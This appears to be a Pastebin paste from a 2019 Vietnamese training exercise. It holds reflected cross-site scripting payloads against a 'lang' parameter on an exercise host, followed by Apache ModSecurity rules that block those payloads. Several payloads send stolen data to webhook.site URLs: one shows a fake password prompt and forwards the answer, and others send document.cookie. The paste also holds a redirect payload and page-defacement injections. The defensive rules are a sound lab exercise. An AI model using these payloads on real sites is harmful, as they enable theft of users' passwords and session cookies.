Advertisement
Guest User

Untitled

a guest
Oct 16th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. <script>alert(1)</script>
  2.  
  3. ');alert(1);//
  4.  
  5. http://gplx.teamxx.dientap.cnsc/hoidap.html?lang=');document.write('<h1>Xin chao DHQG 2019</h1>')//
  6.  
  7. http://gplx.teamxx.dientap.cnsc/hoidap.html?lang=');var pass =prompt("Nhập mật khẩu để tiếp tục", "password");document.write('<img src="https://webhook.site/448dcf26-0d84-4e49-9ffa-940fdb861553?pass='%2Bpass%2B'">')//
  8.  
  9. http://gplx.teamxx.dientap.cnsc/hoidap.html?lang=');document.getElementsByClassName('path')[0].innerHTML='<img src="https://www.switch.ch/export/sites/default/security/.galleries/images/Hack-the-Hacker-photo-by-istockphoto-gorodenkoff.jpg">'//
  10.  
  11. http://gplx.teamxx.dientap.cnsc/hoidap.html?lang=');document.write('<img src="https://webhook.site/448dcf26-0d84-4e49-9ffa-940fdb861553?cookie'%2Bdocument.cookie%2B'">')//
  12.  
  13. <script>window.location="http://webhook.site/80aeac02-68fc-46b8-82fc-71910f4e110f?"+document.cookie</script>
  14.  
  15. sudo nano /usr/share/modsecurity-crs/new_rules/modsecurity_xssurl.conf
  16.  
  17. <IfModule security2_module>
  18. SecRuleEngine On
  19. SecDefaultAction "phase:2,deny,log,status:403"
  20. SecRule REQUEST_URI "Jscript|alert|onerror|document|javascript|script|window" "deny,phase:1,log,id:10000"
  21. </IfModule>
  22.  
  23. cd /usr/share/modsecurity-crs/activated_rules
  24.  
  25. sudo ln –s ../new_rules/modsecurity_xssurl.conf
  26.  
  27. sudo service apache2 restart
  28.  
  29. cat /var/log/apache2/modsec_audit.log
  30.  
  31. cd /usr/share/modsecurity-crs/
  32.  
  33. sudo nano /usr/share/modsecurity-crs/new_rules/modsecurity_xss_body.conf
  34.  
  35. <IfModule security2_module>
  36. SecRuleEngine On
  37. SecDefaultAction "phase:2,deny,log,status:403"
  38. SecRule REQUEST_BODY "Jscript|alert|onerror|document|javascript|script|window" "deny,phase:2,log,id:10001"
  39. </IfModule>
  40.  
  41. cd /usr/share/modsecurity-crs/activated_rules
  42. sudo ln –s ../new_rules/modsecurity_xss_body.conf
  43. sudo service apache2 restart
  44.  
  45. cat /var/log/apache2/modsec_audit.log
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement